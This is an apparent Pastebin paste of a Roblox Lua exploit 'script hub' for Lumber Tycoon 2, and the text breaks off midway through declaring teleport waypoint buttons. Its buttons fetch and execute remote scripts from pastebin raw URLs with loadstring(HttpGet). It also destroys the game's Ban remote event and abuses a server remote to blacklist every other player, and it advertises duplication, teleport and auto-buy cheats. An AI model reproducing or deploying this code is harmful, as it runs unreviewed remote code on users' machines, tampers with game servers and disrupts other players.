Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- -- custom hard dragger is line 40 (ik it says blood in code)
- -- dupe is line 56
- -- new blood is line 72 (ik it says hard dragger in code)
- local scripthub = Instance.new("ScreenGui")
- local GUI = Instance.new("Frame")
- local Blood = Instance.new("TextButton")
- local Dupe = Instance.new("TextButton")
- local HardDragger = Instance.new("TextButton")
- local OpenClose = Instance.new("Frame")
- local Close = Instance.new("TextButton")
- local Open = Instance.new("TextButton")
- --Properties:
- scripthub.Name = "script hub"
- scripthub.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui")
- scripthub.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
- GUI.Name = "GUI"
- GUI.Parent = scripthub
- GUI.Active = true
- GUI.BackgroundColor3 = Color3.new(0.219608, 0.219608, 0.219608)
- GUI.BorderSizePixel = 0
- GUI.Position = UDim2.new(0.0550458729, 0, 0.671503961, 0)
- GUI.Selectable = true
- GUI.Size = UDim2.new(0, 214, 0, 149)
- GUI.Style = Enum.FrameStyle.RobloxRound
- GUI.Draggable=true
- Blood.Name = "Blood"
- Blood.Parent = GUI
- Blood.BackgroundColor3 = Color3.new(0.1, 0.1, 0.1)
- Blood.BackgroundTransparency = 0.40000000596046
- Blood.BorderSizePixel = 0
- Blood.Position = UDim2.new(-0.0430000015, 0, -0.0359999985, -4)
- Blood.Size = UDim2.new(0, 204, 0, 50)
- Blood.Font = Enum.Font.SourceSans
- Blood.Text = "HardDragger"
- Blood.TextColor3 = Color3.new(1, 0, 0)
- Blood.TextSize = 30
- Blood.MouseButton1Click:Connect(function()
- loadstring(game:HttpGet("https://pastebin.com/raw/DfFmZuR0", true))()
- end)
- Dupe.Name = "Dupe"
- Dupe.Parent = GUI
- Dupe.BackgroundColor3 = Color3.new(0.12549, 0.694118, 1)
- Dupe.BackgroundTransparency = 0.40000000596046
- Dupe.BorderSizePixel = 0
- Dupe.Position = UDim2.new(-0.0379999988, -1, 0.300000012, 1)
- Dupe.Size = UDim2.new(0, 204, 0, 50)
- Dupe.Font = Enum.Font.SourceSans
- Dupe.Text = "Dupe"
- Dupe.TextColor3 = Color3.new(1, 0, 0)
- Dupe.TextSize = 30
- Dupe.MouseButton1Click:Connect(function()
- loadstring(game:HttpGet("https://pastebin.com/raw/0ZcRvTD8", true))()
- end)
- HardDragger.Name = "HardDragger"
- HardDragger.Parent = GUI
- HardDragger.BackgroundColor3 = Color3.new(0.439216, 0, 0.00392157)
- HardDragger.BackgroundTransparency = 0.40000000596046
- HardDragger.BorderSizePixel = 0
- HardDragger.Position = UDim2.new(-0.0379999988, -1, 0.699999988, -2)
- HardDragger.Size = UDim2.new(0, 204, 0, 50)
- HardDragger.Font = Enum.Font.SourceSans
- HardDragger.Text = "New Blood"
- HardDragger.TextColor3 = Color3.new(1, 0, 0)
- HardDragger.TextSize = 30
- HardDragger.MouseButton1Click:Connect(function()
- -- Objects
- local Intro = Instance.new("ScreenGui")
- local IntroImage = Instance.new("ImageLabel")
- local _1 = Instance.new("TextLabel")
- local _2 = Instance.new("TextLabel")
- local _3 = Instance.new("TextLabel")
- local _4 = Instance.new("TextLabel")
- local _5 = Instance.new("TextLabel")
- local _6 = Instance.new("TextLabel")
- local _7 = Instance.new("TextLabel")
- -- Properties
- Intro.Name = "Intro"
- Intro.Parent = game.CoreGui
- IntroImage.Name = "IntroImage"
- IntroImage.Parent = Intro
- IntroImage.BackgroundColor3 = Color3.new(0, 0.298039, 0.498039)
- IntroImage.BackgroundTransparency = 1
- IntroImage.BorderColor3 = Color3.new(1, 1, 1)
- IntroImage.BorderSizePixel = 0
- IntroImage.Position = UDim2.new(0.400, 0, 0.200, 0)
- IntroImage.Size = UDim2.new(0, 356, 0, 347)
- IntroImage.Image = "rbxassetid://1130382821"
- _1.Name = "1"
- _1.Parent = IntroImage
- _1.BackgroundColor3 = Color3.fromRGB(249, 214, 46)
- _1.BackgroundTransparency = 1
- _1.BorderSizePixel = 0
- _1.Position = UDim2.new(0.109550565, 0, 0.423631132, 0)
- _1.Size = UDim2.new(0, 40, 0, 53)
- _1.Font = Enum.Font.ArialBold
- _1.FontSize = Enum.FontSize.Size14
- _1.Text = " "
- _1.TextColor3 = Color3.new(255, 0, 0)
- _1.TextScaled = true
- _1.TextSize = 14
- _1.TextWrapped = true
- _2.Name = "2"
- _2.Parent = IntroImage
- _2.BackgroundColor3 = Color3.new(0, 0.298039, 0.498039)
- _2.BackgroundTransparency = 1
- _2.BorderSizePixel = 0
- _2.Position = UDim2.new(0.221910119, 0, 0.423631132, 0)
- _2.Size = UDim2.new(0, 40, 0, 53)
- _2.Font = Enum.Font.ArialBold
- _2.FontSize = Enum.FontSize.Size14
- _2.Text = "B"
- _2.TextColor3 = Color3.new(255, 0, 0)
- _2.TextScaled = true
- _2.TextSize = 14
- _2.TextWrapped = true
- _3.Name = "3"
- _3.Parent = IntroImage
- _3.BackgroundColor3 = Color3.new(0, 0.298039, 0.498039)
- _3.BackgroundTransparency = 1
- _3.BorderSizePixel = 0
- _3.Position = UDim2.new(0.334269673, 0, 0.423631132, 0)
- _3.Size = UDim2.new(0, 40, 0, 53)
- _3.Font = Enum.Font.ArialBold
- _3.FontSize = Enum.FontSize.Size14
- _3.Text = "L"
- _3.TextColor3 = Color3.new(255, 0, 0)
- _3.TextScaled = true
- _3.TextSize = 14
- _3.TextWrapped = true
- _4.Name = "4"
- _4.Parent = IntroImage
- _4.BackgroundColor3 = Color3.new(0, 0.298039, 0.498039)
- _4.BackgroundTransparency = 1
- _4.BorderSizePixel = 0
- _4.Position = UDim2.new(0.446629226, 0, 0.423631132, 0)
- _4.Size = UDim2.new(0, 40, 0, 53)
- _4.Font = Enum.Font.ArialBold
- _4.FontSize = Enum.FontSize.Size14
- _4.Text = "O"
- _4.TextColor3 = Color3.new(255, 0, 0)
- _4.TextScaled = true
- _4.TextSize = 14
- _4.TextWrapped = true
- _5.Name = "5"
- _5.Parent = IntroImage
- _5.BackgroundColor3 = Color3.new(0, 0.298039, 0.498039)
- _5.BackgroundTransparency = 1
- _5.BorderSizePixel = 0
- _5.Position = UDim2.new(0.55898881, 0, 0.423631132, 0)
- _5.Size = UDim2.new(0, 40, 0, 53)
- _5.Font = Enum.Font.ArialBold
- _5.FontSize = Enum.FontSize.Size14
- _5.Text = "O"
- _5.TextColor3 = Color3.new(255, 0, 0)
- _5.TextScaled = true
- _5.TextSize = 14
- _5.TextWrapped = true
- _6.Name = "6"
- _6.Parent = IntroImage
- _6.BackgroundColor3 = Color3.new(0, 0.298039, 0.498039)
- _6.BackgroundTransparency = 1
- _6.BorderSizePixel = 0
- _6.Position = UDim2.new(0.671348333, 0, 0.423631132, 0)
- _6.Size = UDim2.new(0, 40, 0, 53)
- _6.Font = Enum.Font.ArialBold
- _6.FontSize = Enum.FontSize.Size14
- _6.Text = "D"
- _6.TextColor3 = Color3.new(255, 0, 0)
- _6.TextScaled = true
- _6.TextSize = 14
- _6.TextWrapped = true
- _7.Name = "7"
- _7.Parent = IntroImage
- _7.BackgroundColor3 = Color3.new(1, 1, 1)
- _7.BackgroundTransparency = 1
- _7.BorderSizePixel = 0
- _7.Position = UDim2.new(0.775280893, 0, 0.423631132, 0)
- _7.Size = UDim2.new(0, 40, 0, 53)
- _7.Font = Enum.Font.ArialBold
- _7.FontSize = Enum.FontSize.Size14
- _7.Text = " "
- _7.TextColor3 = Color3.new(255, 0, 0)
- _7.TextScaled = true
- _7.TextSize = 14
- _7.TextWrapped = true
- _1.TextTransparency = 0.2
- wait()
- _2.TextTransparency = 0.2
- wait()
- _3.TextTransparency = 0.2
- wait()
- _4.TextTransparency = 0.2
- wait()
- _5.TextTransparency = 0.2
- wait()
- _6.TextTransparency = 0.2
- wait()
- _7.TextTransparency = 0.2
- wait()
- IntroImage.ImageTransparency = 0.2
- wait()
- _1.TextTransparency = 0.3
- wait()
- _2.TextTransparency = 0.3
- wait()
- _3.TextTransparency = 0.3
- wait()
- _4.TextTransparency = 0.3
- wait()
- _5.TextTransparency = 0.3
- wait()
- _6.TextTransparency = 0.3
- wait()
- _7.TextTransparency = 0.3
- wait()
- IntroImage.ImageTransparency = 0.3
- wait()
- _1.TextTransparency = 0.4
- wait()
- _2.TextTransparency = 0.4
- wait()
- _3.TextTransparency = 0.4
- wait()
- _4.TextTransparency = 0.4
- wait()
- _5.TextTransparency = 0.4
- wait()
- _6.TextTransparency = 0.4
- wait()
- _7.TextTransparency = 0.4
- wait()
- IntroImage.ImageTransparency = 0.4
- wait()
- _1.TextTransparency = 0.5
- wait()
- _2.TextTransparency = 0.5
- wait()
- _3.TextTransparency = 0.4
- wait()
- _4.TextTransparency = 0.5
- wait()
- _5.TextTransparency = 0.5
- wait()
- _6.TextTransparency = 0.5
- wait()
- _7.TextTransparency = 0.5
- wait()
- IntroImage.ImageTransparency = 0.5
- wait()
- _1.TextTransparency = 0.6
- wait()
- _2.TextTransparency = 0.6
- wait()
- _3.TextTransparency = 0.6
- wait()
- _4.TextTransparency = 0.6
- wait()
- _5.TextTransparency = 0.6
- wait()
- _6.TextTransparency = 0.6
- wait()
- _7.TextTransparency = 0.6
- wait()
- IntroImage.ImageTransparency = 0.6
- wait()
- _1.TextTransparency = 0.7
- wait()
- _2.TextTransparency = 0.7
- wait()
- _3.TextTransparency = 0.7
- wait()
- _4.TextTransparency = 0.7
- wait()
- _5.TextTransparency = 0.7
- wait()
- _6.TextTransparency = 0.7
- wait()
- _7.TextTransparency = 0.7
- wait()
- IntroImage.ImageTransparency = 0.7
- wait()
- _1.TextTransparency = 0.8
- wait()
- _2.TextTransparency = 0.8
- wait()
- _3.TextTransparency = 0.8
- wait()
- _4.TextTransparency = 0.8
- wait()
- _5.TextTransparency = 0.8
- wait()
- _6.TextTransparency = 0.8
- wait()
- _7.TextTransparency = 0.8
- wait()
- IntroImage.ImageTransparency = 0.8
- wait()
- _1.TextTransparency = 0.9
- wait()
- _2.TextTransparency = 0.9
- wait()
- _3.TextTransparency = 0.9
- wait()
- _4.TextTransparency = 0.9
- wait()
- _5.TextTransparency = 0.9
- wait()
- _6.TextTransparency = 0.9
- wait()
- _7.TextTransparency = 0.9
- wait()
- IntroImage.ImageTransparency = 0.9
- wait()
- _1.TextTransparency = 1
- wait()
- _2.TextTransparency = 1
- wait()
- _3.TextTransparency = 1
- wait()
- _4.TextTransparency = 1
- wait()
- _5.TextTransparency = 1
- wait()
- _6.TextTransparency = 1
- wait()
- _7.TextTransparency = 1
- wait()
- IntroImage.ImageTransparency = 0.9
- wait()
- _1.TextTransparency = 1.1
- wait()
- _2.TextTransparency = 1.1
- wait()
- _3.TextTransparency = 1.1
- wait()
- _4.TextTransparency = 1.1
- wait()
- _5.TextTransparency = 1.1
- wait()
- _6.TextTransparency = 1.1
- wait()
- _7.TextTransparency = 1.1
- wait()
- IntroImage.ImageTransparency = 5.1
- wait()
- Intro:Destroy()
- wait()
- local s = Instance.new("Sound")
- s.Name = "Sound"
- s.SoundId = "http://www.roblox.com/asset/?id=2528420941"
- s.Volume = 0
- s.Looped = false
- s.archivable = false
- s.Parent = game.Workspace
- --Join
- local k = Instance.new("Sound")
- k.Name = "Soundzz"
- k.SoundId = "http://www.roblox.com/asset/?id=305977837"
- k.Volume = 0
- k.Looped = false
- k.archivable = false
- k.Parent = game.Workspace
- --Left
- local q = Instance.new("Sound")
- q.Name = "Soundzzzz"
- q.SoundId = "http://www.roblox.com/asset/?id=249869145"
- q.Volume = 0
- q.Looped = false
- q.archivable = false
- q.Parent = game.Workspace
- --Systems Online
- local function SendNotification(title,text,duration,...)
- game.StarterGui:SetCore("SendNotification", {
- Title = title;
- Text = text;
- Icon = "";
- Duration = duration;
- })
- end
- game.Players.ChildAdded:Connect(function(player)
- if not pcall (function()
- SendNotification("Player JOINED",""..player.Name.." has JOINED the game",5 )
- s:Play()
- end) then
- print ("Error")
- end
- end)
- ---------------------------------------------------------------------
- -- Same extra's apply down here as well.
- game.Players.ChildRemoved:Connect(function(player)
- if not pcall (function()
- SendNotification("Player LEFT",""..player.Name.." has LEFT the game",4.4 )
- k:Play()
- end) then
- print ("Error")
- end
- end)
- SendNotification("Loaded","Join and leave detector is loaded",2)
- q:Play()
- -- Variables --
- local Script = "BLOOD"
- local gFont = "SourceSans"
- local Visi = true
- -- Functions --
- function Log(text, r, g, b, font)
- game.StarterGui:SetCore("ChatMakeSystemMessage", {
- Text = "{" .. tostring(Script) .. "} - " .. text;
- Color = Color3.new(r, g, b);
- Font = Enum.Font[font];
- FontSize = Enum.FontSize.Size10;
- })
- end
- Log("Loading framework...", 255,0,0, tostring(gFont))
- ---------------------------------------------------------------------
- -- Automatically Add players to Blacklist --
- Mouse = game.Players.LocalPlayer:GetMouse()
- game:service'ReplicatedStorage'.Interaction.Ban:Destroy()
- Instance.new('RemoteEvent', game:service'ReplicatedStorage'.Interaction).Name = "Ban"
- Client = game.ReplicatedStorage.Interaction.ClientSetListPlayer
- players = game.Players
- for i, v in pairs(players:GetPlayers()) do
- if v.Name ~= players.LocalPlayer.Name then
- Client:InvokeServer(players.LocalPlayer.BlacklistFolder, v, true)
- end
- end
- players.PlayerAdded:connect(function(plr)
- Client:InvokeServer(players.LocalPlayer.BlacklistFolder, plr, true)
- end)
- game:GetService("StarterGui"):SetCore("SendNotification", {
- Title = "BLOOD",
- Text = "Loaded Successful."
- })
- local players = game:GetService('Players')
- if game.Players.LocalPlayer then
- game.StarterGui:SetCore('SendNotification', {
- Title = ' '.. players.LocalPlayer.Name..'!',
- Text = 'Welcome to Bloods GUI!',
- Icon = [[http://www.roblox.com/Thumbs/Avatar.ashx?x=100&y=100&Format=Png&userName=]]..players.LocalPlayer.Name..[[&RAND]] .. math.random(1,10000000),
- Duration = 5,
- })
- end
- ---------------------------------------------------------------------
- WCollide = "Nothing"
- afkactive = false
- CustomLocationSet = false
- local BLOOD = Instance.new("ScreenGui")
- local MainFrame = Instance.new("Frame")
- local ImageLabel = Instance.new("ImageLabel")
- local OpenFrame = Instance.new("Frame")
- local Open = Instance.new("ImageButton")
- local CloseBLOOD = Instance.new("TextButton")
- local Minimize = Instance.new("TextButton")
- local MenuFrame = Instance.new("Frame")
- local MenuFramea = Instance.new("Frame")
- local AIntroImage = Instance.new("ImageLabel")
- local AIntroImage1 = Instance.new("ImageLabel")
- local BloodFrameInfo = Instance.new("TextLabel")
- local Picker = Instance.new("ScrollingFrame")
- local AIntroImage = Instance.new("ImageButton")
- local ChangeItem = Instance.new("Frame")
- local CurrentItem = Instance.new("ImageButton")
- --Properties:
- BLOOD.Name = "BLOOD"
- BLOOD.Parent = game.CoreGui
- OpenFrame.Name = "OpenFrame"
- OpenFrame.Parent = BLOOD
- OpenFrame.BackgroundColor3 = Color3.fromRGB(196, 40, 28)
- OpenFrame.BorderColor3 = Color3.fromRGB(196, 40, 28)
- OpenFrame.Position = UDim2.new(0.5, -40, 0, -28)
- OpenFrame.Size = UDim2.new(0, 80, 0, 20)
- Open.Name = "Open"
- Open.Parent = OpenFrame
- Open.BackgroundColor3 = Color3.new(0.1, 0.1, 0.1)
- Open.BorderColor3 = Color3.fromRGB(196, 40, 28)
- Open.Size = UDim2.new(0, 80, 0, 20)
- Open.Image = "rbxassetid://3630810430"
- Open.Selectable = true
- MainFrame.Name = "MainFrame"
- MainFrame.Parent = BLOOD
- MainFrame.Active = true
- MainFrame.Draggable = true
- MainFrame.BackgroundColor3 = Color3.new(1, 1, 1)
- MainFrame.Position = UDim2.new(0.0111675123, 0, 0.436827958, 0)
- MainFrame.Selectable = true
- MainFrame.Size = UDim2.new(0, 500, 0, 500)
- MainFrame.Visible = false
- ImageLabel.Name = "ImageLabel"
- ImageLabel.Parent = MainFrame
- ImageLabel.BackgroundColor3 = Color3.new(1, 1, 1)
- ImageLabel.Position = UDim2.new(-0.000475523295, 0, -0.00117481197, 0)
- ImageLabel.Size = UDim2.new(0, 500, 0, 500)
- ImageLabel.Image = "rbxassetid://3883502641"
- CloseBLOOD.Name = "CloseBLOOD"
- CloseBLOOD.Parent = MainFrame
- CloseBLOOD.BackgroundColor3 = Color3.new(0, 0, 0)
- CloseBLOOD.BorderColor3 = Color3.fromRGB(196, 40, 28)
- CloseBLOOD.Position = UDim2.new(0, 5, 0, 5)
- CloseBLOOD.Size = UDim2.new(0, 20, 0, 20)
- CloseBLOOD.Font = Enum.Font.Fantasy
- CloseBLOOD.FontSize = Enum.FontSize.Size18
- CloseBLOOD.Text = "X"
- CloseBLOOD.TextColor3 = Color3.new(1, 1, 1)
- CloseBLOOD.TextScaled = true
- CloseBLOOD.TextWrapped = true
- CloseBLOOD.TextSize = 17
- Minimize.Name = "Minimize"
- Minimize.Parent = MainFrame
- Minimize.BackgroundColor3 = Color3.new(0, 0, 0)
- Minimize.BorderColor3 = Color3.fromRGB(196, 40, 28)
- Minimize.Position = UDim2.new(0, 26, 0, 5)
- Minimize.Size = UDim2.new(0, 20, 0, 20)
- Minimize.Font = Enum.Font.Fantasy
- Minimize.FontSize = Enum.FontSize.Size18
- Minimize.Text = "-"
- Minimize.TextColor3 = Color3.new(1, 1, 1)
- Minimize.TextScaled = true
- Minimize.TextWrapped = true
- Minimize.TextSize = 17
- MenuFrame.Name = "MenuFrame"
- MenuFrame.Parent = MainFrame
- MenuFrame.BackgroundColor3 = Color3.fromRGB(196, 40, 28)
- MenuFrame.BackgroundTransparency = 1
- MenuFrame.BorderColor3 = Color3.new(0, 1, 0)
- MenuFrame.Position = UDim2.new(0, 5, 0, 30)
- MenuFrame.Size = UDim2.new(0, 170, 0,400)
- MenuFramea.Name = "MenuFrame"
- MenuFramea.Parent = MainFrame
- MenuFramea.BackgroundColor3 = Color3.fromRGB(196, 40, 28)
- MenuFramea.BackgroundTransparency = 1
- MenuFramea.BorderColor3 = Color3.new(0, 1, 0)
- MenuFramea.Position = UDim2.new(0, 270, 0, 140)
- MenuFramea.Size = UDim2.new(0, 120, 0,350)
- AIntroImage.Name = "IntroImage"
- AIntroImage.Parent = MainFrame
- AIntroImage.BackgroundColor3 = Color3.new(0, 0.298039, 0.498039)
- AIntroImage.BackgroundTransparency = 1
- AIntroImage.BorderColor3 = Color3.new(1, 1, 1)
- AIntroImage.BorderSizePixel = 0
- AIntroImage.Position = UDim2.new(0, 10, 0, 335)
- AIntroImage.Size = UDim2.new(0, 120, 0, 30)
- AIntroImage.Image = "rbxassetid://3630810430"
- AIntroImage.Visible = true
- AIntroImage1.Name = "IntroImage"
- AIntroImage1.Parent = MainFrame
- AIntroImage1.BackgroundColor3 = Color3.new(0, 0.298039, 0.498039)
- AIntroImage1.BackgroundTransparency = 1
- AIntroImage1.BorderColor3 = Color3.new(1, 1, 1)
- AIntroImage1.BorderSizePixel = 0
- AIntroImage1.Position = UDim2.new(0, 10, 0, 370)
- AIntroImage1.Size = UDim2.new(0, 120, 0, 120)
- AIntroImage1.Image = "rbxassetid://3940167130"
- AIntroImage1.Visible = true
- BloodFrameInfo.Name = "BloodFrameInfo"
- BloodFrameInfo.Parent = MenuFrame
- BloodFrameInfo.BackgroundColor3 = Color3.new(0, 0, 0)
- BloodFrameInfo.BackgroundTransparency = 1
- BloodFrameInfo.Position = UDim2.new(0, 3, 0, 3)
- BloodFrameInfo.Size = UDim2.new(0, 164, 0, 310)
- BloodFrameInfo.Font = Enum.Font.Fantasy
- BloodFrameInfo.FontSize = Enum.FontSize.Size14
- BloodFrameInfo.Text = "All current players and new players who join will be automatically blacklisted.\n\nTP Tool adds a backpack item to click teleport you.\n\nNew dupe added just click this button move items then turn off and reload.\n\nAuto buy added just open the backpack and click on the item you want.\n\nA BIG THANKS TO JOHIRO FOR WORKING ON THE NEW SCRIPTS.\n\nScripts are big so give time to load."
- BloodFrameInfo.TextColor3 = Color3.new(0, 0, 0)
- BloodFrameInfo.TextWrapped = true
- BloodFrameInfo.TextSize = 14
- BloodFrameInfo.Visible = true
- Log("Loaded framework successfully!", 0,255,255, tostring(gFont))
- local Depart = Instance.new("TextLabel")
- Depart.Name = "Depart"
- Depart.Parent = MainFrame
- Depart.BackgroundColor3 = Color3.new(0, 0.298039, 0.498039)
- Depart.BorderColor3 = Color3.new(0, 0, 0)
- Depart.BorderSizePixel = 2
- Depart.Position = UDim2.new(0, 50, 0, 5)
- Depart.Size = UDim2.new(0, 130, 0, 20)
- Depart.BackgroundTransparency=1
- Depart.Font = Enum.Font.Fantasy
- Depart.FontSize = Enum.FontSize.Size18
- Depart.Text = "Ferry Departs: 0"
- Depart.TextColor3 = Color3.new(1, 1, 1)
- Depart.TextSize = 15
- Depart.TextStrokeColor3 = Color3.new(1, 1, 1)
- Depart.TextWrapped = true
- game.Workspace.Ferry.TimeToDeparture.Changed:connect(function()
- Depart.Text = "Ferry Departs: ".. game.Workspace.Ferry.TimeToDeparture.Value
- if Depart.Text == "Ferry Departs: 0" then
- wait(6)
- Depart.Text = "Ferry has Departed"
- else
- Depart.Text = "Ferry Departs: ".. game.Workspace.Ferry.TimeToDeparture.Value
- end
- end)
- ChangeItem.Name = "ChangeItem"
- ChangeItem.Parent = MainFrame
- ChangeItem.BackgroundColor3 = Color3.fromRGB(193, 40, 28)
- ChangeItem.BorderColor3 = Color3.new(0, 0, 0)
- ChangeItem.BorderSizePixel = 2
- ChangeItem.Position = UDim2.new(0, 390, 1, -110)
- ChangeItem.Size = UDim2.new(0, 100, 0, 100)
- ChangeItem.ZIndex = 2
- CurrentItem.Name = "CurrentItem"
- CurrentItem.Parent = ChangeItem
- CurrentItem.BackgroundColor3 = Color3.new(1, 1, 1)
- CurrentItem.BorderColor3 = Color3.new(0, 0, 0)
- CurrentItem.BorderSizePixel = 2
- CurrentItem.Position = UDim2.new(0, 10, 0, 10)
- CurrentItem.Size = UDim2.new(0, 80, 0, 80)
- CurrentItem.ZIndex = 2
- CurrentItem.Image = "rbxassetid://3886256996"
- CurrentItem.ScaleType = Enum.ScaleType.Crop
- Picker.Name = "Picker"
- Picker.Parent = MainFrame
- Picker.BackgroundColor3 = Color3.fromRGB(196, 40, 28)
- Picker.BorderColor3 = Color3.new(0, 0, 0)
- Picker.BorderSizePixel = 2
- Picker.Position = UDim2.new(0, 390, 1, -335)
- Picker.Size = UDim2.new(0, 100, 0, 220)
- Picker.CanvasPosition = Vector2.new(0,0)
- Picker.CanvasSize = UDim2.new(0, 0, 0, 687)
- Picker.ScrollBarThickness = 10
- Picker.VerticalScrollBarPosition = Enum.VerticalScrollBarPosition.Left
- Picker.Visible = false
- local PlayerFrame = Instance.new("Frame")
- local Player1 = Instance.new("TextButton")
- local Player2 = Instance.new("TextButton")
- local Player3 = Instance.new("TextButton")
- local Player4 = Instance.new("TextButton")
- local Player5 = Instance.new("TextButton")
- local Player6 = Instance.new("TextButton")
- local PlyrSel = Instance.new("TextLabel")
- local TpPlayer = Instance.new("TextButton")
- local TpBase = Instance.new("TextButton")
- local Player = Instance.new("ImageButton")
- Player.Name = "Player"
- Player.Parent = Picker
- Player.BackgroundColor3 = Color3.fromRGB(196, 40, 28)
- Player.BorderColor3 = Color3.new(0, 0, 0)
- Player.Position = UDim2.new(0, 15, 0, 5)
- Player.Size = UDim2.new(0, 80, 0, 80)
- Player.ZIndex = 3
- Player.Image = "rbxassetid://3888401903"
- Player.ScaleType = Enum.ScaleType.Crop
- Player.MouseButton1Click:Connect(function()
- CurrentItem.Image = "rbxassetid://3886256996"
- AIntroImage.Visible = true
- AIntroImage1.Visible = true
- end)
- PlayerFrame.Name = "PlayerFrame"
- PlayerFrame.Parent = MenuFrame
- PlayerFrame.BackgroundColor3 = Color3.fromRGB(196, 40, 28)
- PlayerFrame.BackgroundTransparency = 0
- PlayerFrame.BorderColor3 = Color3.new(0, 0, 0)
- PlayerFrame.Size = UDim2.new(0, 170, 0, 290)
- PlayerFrame.Visible = false
- PlyrSel.Name = "PlyrSel"
- PlyrSel.Parent = PlayerFrame
- PlyrSel.BackgroundColor3 = Color3.new(0, 0, 0)
- PlyrSel.BackgroundTransparency = 0.15
- PlyrSel.BorderColor3 = Color3.new(0, 0, 0)
- PlyrSel.Position = UDim2.new(0, 5, 0, 5)
- PlyrSel.Size = UDim2.new(0, 160, 0, 20)
- PlyrSel.Font = Enum.Font.SourceSansBold
- PlyrSel.FontSize = Enum.FontSize.Size18
- PlyrSel.Text = "SELECT A PLAYER"
- PlyrSel.TextColor3 = Color3.fromRGB(255, 0, 0)
- PlyrSel.TextScaled = true
- PlyrSel.TextSize = 17
- PlyrSel.TextWrapped = true
- Player1.Name = "Player1"
- Player1.Parent = PlayerFrame
- Player1.BackgroundColor3 = Color3.new(0, 0, 0)
- Player1.BorderColor3 = Color3.new(0, 0, 0)
- Player1.Position = UDim2.new(0, 5, 0, 40)
- Player1.Size = UDim2.new(0, 160, 0, 20)
- Player1.Font = Enum.Font.SourceSansSemibold
- Player1.FontSize = Enum.FontSize.Size18
- Player1.Text = ""
- Player1.TextColor3 = Color3.fromRGB(255, 0, 0)
- Player1.TextSize = 16
- Player1.TextWrapped = true
- Player2.Name = "Player2"
- Player2.Parent = PlayerFrame
- Player2.BackgroundColor3 = Color3.new(0, 0, 0)
- Player2.BorderColor3 = Color3.new(0, 0, 0)
- Player2.Position = UDim2.new(0, 5, 0, 65)
- Player2.Size = UDim2.new(0, 160, 0, 20)
- Player2.Font = Enum.Font.SourceSansSemibold
- Player2.FontSize = Enum.FontSize.Size18
- Player2.Text = ""
- Player2.TextColor3 = Color3.fromRGB(255, 0, 0)
- Player2.TextSize = 16
- Player2.TextWrapped = true
- Player3.Name = "Player3"
- Player3.Parent = PlayerFrame
- Player3.BackgroundColor3 = Color3.new(0, 0, 0)
- Player3.BorderColor3 = Color3.new(0, 0, 0)
- Player3.Position = UDim2.new(0, 5, 0, 90)
- Player3.Size = UDim2.new(0, 160, 0, 20)
- Player3.Font = Enum.Font.SourceSansSemibold
- Player3.FontSize = Enum.FontSize.Size18
- Player3.Text = ""
- Player3.TextColor3 = Color3.fromRGB(255, 0, 0)
- Player3.TextSize = 16
- Player3.TextWrapped = true
- Player4.Name = "Player4"
- Player4.Parent = PlayerFrame
- Player4.BackgroundColor3 = Color3.new(0, 0, 0)
- Player4.BorderColor3 = Color3.new(0, 0, 0)
- Player4.Position = UDim2.new(0, 5, 0, 115)
- Player4.Size = UDim2.new(0, 160, 0, 20)
- Player4.Font = Enum.Font.SourceSansSemibold
- Player4.FontSize = Enum.FontSize.Size18
- Player4.Text = ""
- Player4.TextColor3 = Color3.fromRGB(255, 0, 0)
- Player4.TextSize = 16
- Player4.TextWrapped = true
- Player5.Name = "Player5"
- Player5.Parent = PlayerFrame
- Player5.BackgroundColor3 = Color3.new(0, 0, 0)
- Player5.BorderColor3 = Color3.new(0, 0, 0)
- Player5.Position = UDim2.new(0, 5, 0, 140)
- Player5.Size = UDim2.new(0, 160, 0, 20)
- Player5.Font = Enum.Font.SourceSansSemibold
- Player5.FontSize = Enum.FontSize.Size18
- Player5.Text = ""
- Player5.TextColor3 = Color3.fromRGB(255, 0, 0)
- Player5.TextSize = 16
- Player5.TextWrapped = true
- Player6.Name = "Player6"
- Player6.Parent = PlayerFrame
- Player6.BackgroundColor3 = Color3.new(0, 0, 0)
- Player6.BorderColor3 = Color3.new(0, 0, 0)
- Player6.Position = UDim2.new(0, 5, 0, 165)
- Player6.Size = UDim2.new(0, 160, 0, 20)
- Player6.Font = Enum.Font.SourceSansSemibold
- Player6.FontSize = Enum.FontSize.Size18
- Player6.Text = ""
- Player6.TextColor3 = Color3.fromRGB(255, 0, 0)
- Player6.TextSize = 16
- Player6.TextWrapped = true
- TpPlayer.Name = "TpPlayer"
- TpPlayer.Parent = PlayerFrame
- TpPlayer.BackgroundColor3 = Color3.new(0, 0, 0)
- TpPlayer.BackgroundTransparency = 0
- TpPlayer.BorderColor3 = Color3.new(0, 0, 0)
- TpPlayer.Position = UDim2.new(0, 5, 0, 225)
- TpPlayer.Size = UDim2.new(0, 75, 0, 35)
- TpPlayer.Font = Enum.Font.SourceSansBold
- TpPlayer.FontSize = Enum.FontSize.Size18
- TpPlayer.Text = "Tp to Player"
- TpPlayer.TextColor3 = Color3.fromRGB(255, 0, 0)
- TpPlayer.TextScaled = true
- TpPlayer.TextWrapped = true
- TpPlayer.TextSize = 14
- TpBase.Name = "TpBase"
- TpBase.Parent = PlayerFrame
- TpBase.BackgroundColor3 = Color3.new(0, 0, 0)
- TpBase.BackgroundTransparency = 0
- TpBase.BorderColor3 = Color3.new(0, 0, 0)
- TpBase.Position = UDim2.new(0, 90, 0, 225)
- TpBase.Size = UDim2.new(0, 75, 0, 35)
- TpBase.Font = Enum.Font.SourceSansBold
- TpBase.FontSize = Enum.FontSize.Size18
- TpBase.Text = "Tp to\nBase"
- TpBase.TextColor3 = Color3.fromRGB(255, 0, 0)
- TpPlayer.TextSize = 22
- local Waypoints = Instance.new("ScrollingFrame")
- local Stranger = Instance.new("TextButton")
- local BobsShack = Instance.new("TextButton")
- local PlotTp = Instance.new("TextButton")
- local BoxedCars = Instance.new("TextButton")
- local Cave = Instance.new("TextButton")
- local FancyFurnishings = Instance.new("TextButton")
- local FineArtsShop = Instance.new("TextButton")
- local LandStore = Instance.new("TextButton")
- local LinksLogic = Instance.new("TextButton")
- local PalmIsland = Instance.new("TextButton")
- local SpawnPoint = Instance.new("TextButton")
- local Swamp = Instance.new("TextButton")
- local Volcano = Instance.new("TextButton")
- local WoodRUs = Instance.new("TextButton")
- local Dock = Instance.new("TextButton")
- local Bridge = Instance.new("TextButton")
- local EndTimes = Instance.new("TextButton")
- local ShrineOfSight = Instance.new("TextButton")
- local TheDen = Instance.new("TextButton")
- local VolcanoWin = Instance.new("TextButton")
- local SkiLodge = Instance.new("TextButton")
